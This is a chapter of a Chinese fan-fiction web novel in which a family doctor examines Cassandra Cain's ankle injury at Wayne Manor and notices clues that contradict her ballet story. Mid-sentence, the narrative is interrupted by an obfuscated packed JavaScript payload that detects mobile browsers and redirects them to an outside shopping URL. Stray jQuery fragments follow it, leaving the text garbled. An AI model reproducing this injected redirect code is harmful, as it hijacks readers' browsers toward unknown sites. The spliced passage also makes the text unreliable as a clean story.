9.逻辑难题
作品:《[综英美]我给韦恩当家庭医生》 韦恩家族有很多人。
目前为止,自己只接触过布鲁斯·韦恩。韦恩的孩子们,埃拉诺还一个没有见过。
档案里也就只有阿尔弗雷德·潘尼沃斯提供的疫苗接种记录了。
布鲁斯·韦恩状况良好,埃拉诺想过管家先生会不会要求每天查房,看起来没有,只有第一天对韦恩先生进行了体格检查。之后每天上午十点钟进行一次视频,仅此而已。
“这绝对是世界上最棒的工作。”
工作的第三天,埃拉诺很高兴地对莱斯利医生说。
选择韦恩是正确的,她每天花在韦恩一家身上的时间不超过30分钟,绝大多数时间都在诊所处理感冒的婴儿,烫伤手指的孩子,打架打破脑袋的青春期小鬼,工作时意外受伤的工人,药物过量的流浪汉,总之——富豪外的整个世界。
有些看起来很体面的中产阶级也会来他们的诊所看病,因为这里更快更便宜,他们走的时候会留下来更多的钱——比药费更多的钱。
而莱斯利医生和埃拉诺会微笑着接过这些钱。
莱斯利正在给一个青年割伤的前臂缝合伤口,这是一处刀伤,但她们都默契地接受了患者“滚进了割草机”的主诉。
她头也没抬地回应:“别高兴得太早,阿尔弗雷德付你那么高的薪水,可不是为了让你每天享受三十分钟的哥谭首富健康播报。平静只是风暴眼。”
“我知道,我知道,”埃拉诺麻利地将用过的注射器丢进锐器盒,“所以我才要抓紧时间享受现在的每一分钟。毕竟,按哥谭的天气规律,风暴眼通常小得可怜。”
话音刚落,她放在柜台上的手机震动了起来。屏幕亮起,显示着“阿尔弗雷德·潘尼沃斯”的名字。
埃拉诺和莱斯利交换了一个眼神。
“看,”莱斯利说,用镊子打了个结,“风暴的前锋。”
埃拉诺擦擦手,拿起手机走到相对安静的角落接听:“潘尼沃斯先生,下午好。”
“下午好,埃拉诺医生,”阿尔弗雷德的声音一如既往的平稳礼貌,但语速似乎比平时快了一丝丝,“希望没有打扰您。庄园这边有一个……小状况,可能需要您过来一趟。”
“是韦恩先生的情况有变化吗?”埃拉诺立刻进入工作状态,脑子里快速过了一遍布鲁斯·韦恩的伤情和用药。
不应该啊,上午视频里他看起来精神甚至有点过于好了。
“不,是卡珊德拉小姐,她在练习芭蕾时意外受伤,我需要您来确认一下。”
“练习芭蕾?”埃拉诺重复了一遍,脑海中迅速调出关于卡珊德拉·该隐的资料——养女,公开信息极少,安静,似乎有舞蹈或武术背景。“具体是哪里受伤?”
“左脚踝扭伤,伴有明显肿胀和瘀青,无法承重,”阿尔弗雷德的声音清晰而专业,“我已经进行了基础的R.I.C.E处理,但希望您能来做专业评估,排除骨折或韧带撕裂的可能。庄园有便携式X光设备。”
RICE处理。
休息、冰敷、加压、抬高。
管家的处置很合理。
“我明白了。是否需要我联系运动损伤专科医生?”埃拉诺询问,同时已经在心里评估。
芭蕾是高强度活动,踝关节扭伤很常见。
“目前先请您评估即可,老爷也倾向于如此。”阿尔弗雷德的回答滴水不漏,“如果您判断有必要,我们再启动转诊流程。”
“好的,我马上出发。预计四十分钟后抵达。”埃拉诺挂断电话。
一路无事。
埃拉诺在脑中预演检查流程:视诊,触诊,活动度检查,神经血管评估,必要时X光。如果是普通踝关节扭伤,处理方案很明确。但……
但是什么?
没有但是。
埃拉诺耸了耸肩,把这个无所谓的想法抛之脑后。
“卡珊德拉小姐在治疗室,请随我来。”
卡珊德拉·该隐靠坐在一张宽大的扶手椅上,左脚搭在脚凳上,用冰袋敷着,她穿着舒适的居家服,黑发披肩,看起来非常年轻,实际上也非常年轻。
听到动静,她抬起头。
埃拉诺的第一印象是:安静,极其安静。
“卡珊德拉小姐,这位是埃拉诺·汤普金斯医生,庄园的家庭医生。”阿尔弗雷德介绍道。
卡珊德拉点了点头,目光转向埃拉诺的出诊包。
“你好,卡珊德拉,”埃拉诺换上专业而温和的语气,走近,“阿尔弗雷德说你在练习时扭伤了脚踝,能跟我具体说说怎么发生的吗?当时的感觉?”
卡珊德拉沉默了两秒,然后做了一个非常流畅的手势——指向自己的脚踝,然后手掌翻转向下,模拟了一个“崴脚”的动作,动作干脆利落。接着,她用手势比划了“旋转”和“落地”,最后摇了摇头,指了指脚踝,脸上配合地露出恰到好处的忍痛表情。
全程没有发出一点声音。
埃拉诺愣了一下,随即反应过来。
她有语言障碍?还是选择不说话?资料里没提。
阿尔弗雷德只给她疫苗接种记录……说实话,疫苗本也不是很全。
“卡珊德拉小姐习惯使用手语和肢体语言交流,但她能完全理解您的话。”
好极了,管家现在解释了。
“好的。”埃拉诺迅速调整,将注意力拉回伤情本身。她戴上手套,在阿尔弗雷德的帮助下小心地取下冰袋和绷带。
脚踝确实肿了,瘀青正在形成,主要集中在踝关节外侧。典型的踝关节扭伤常见区域。埃拉诺开始触诊,手指轻柔但稳定地按压骨骼和韧带附着点。
“这里疼吗?……这里呢?”
卡珊德拉点头或摇头,非常配合。
检查越深入,埃拉诺心里的疑窦越深。
肿胀和瘀青是真的,疼痛反应也真实。但是……
不该出现在这个时间。
以埃拉诺的经验来看,卡珊德拉受伤肯定超过12个小时了。
更关键的是……她的指尖感觉到了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157013|196492||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些别的东西。
在踝关节上方一点,小腿的肌肉张力异常。不是急性扭伤导致的反射性紧张,是一种更基础的高肌张力状态,这通常是长期高强度特定模式训练的结果——比如武术、格斗、跑酷。
不仅仅是芭蕾。
芭蕾舞者的肌肉线条和张力是另一种特征。
她不动声色,继续进行神经血管检查,末梢血运和感觉都正常。
“初步看,骨头应该没事,主要考虑韧带损伤。”埃拉诺抬起头,对阿尔弗雷德和卡珊德拉说,“为了排除细微骨折,我建议用便携X光机拍两张片子。即使X光阴性,根据查体情况,也需要严格的制动和休息,至少几天内不能承重,更不用说舞蹈练习了。”
卡珊德拉安静地点点头,目光垂下看着自己的脚踝,长长的睫毛遮住了眼神。
阿尔弗雷德道:“设备已经准备好了,在隔壁房间。我来协助您。”
拍摄X光片的过程很快,拿到片子后,埃拉诺整理着思绪,回到卡珊德拉身边。
“X光片显示没有骨折,这是个好消息。”埃拉诺一边说,一边开始用更牢固的绷带进行加压固定,“但韧带损伤需要时间愈合。接下来需要冰敷、抬高、严格避免承重。我会开一些消炎镇痛药,如果疼痛剧烈可以服用。”
她固定好脚踝,写下简单的医嘱,然后状似随意地问:“卡珊德拉,你平时除了芭蕾,还进行其他运动吗?比如……一些需要爆发力和身体协调性的训练?你的小腿肌肉非常发达。”
卡珊德拉抬起眼,那双漆黑的眼睛看着埃拉诺,平静无波。她摇了摇头,然后做了一个优雅的,伸展手臂的芭蕾手势,似乎在说:只有芭蕾。
埃拉诺点了点头,没再追问。
没有必要追问,就像出发之前她和莱斯利都接受“卷进割草机”这种受伤理由,即使那个病人的伤口一眼就是刀伤。
虽然说,富豪养女和帮派分子一样要用这种理由的确有点奇怪。
医生收拾好东西,对管家说:“固定好了。请务必监督她休息。如果48小时后肿胀疼痛没有开始缓解,或者出现新的症状,及时联系我。”
“非常感谢,埃拉诺医生。”阿尔弗雷德送她离开房间。
走在庄园安静的走廊里,埃拉诺斟酌着开口:“潘尼沃斯先生。”
“请说,医生。”
“卡珊德拉小姐是在放学后练习芭蕾吗?”
“是的,卡珊德拉小姐通常在下午课后进行个人练习。”阿尔弗雷德答道,脚步依然平稳。
“在庄园专门的舞蹈室?”
“在三楼东侧,那里改建过,符合专业需求。”
埃拉诺点了点头,没再问下去。
心里的疑团像滚雪球一样在扩大。
一个接受专业芭蕾训练的女孩,肌肉类型却显示出长期高强度的格斗或极限运动特征;一次新鲜的扭伤,临床表现的时间线与损伤实际存在的时间对不上。
这不是医学难题,这是逻辑难题。

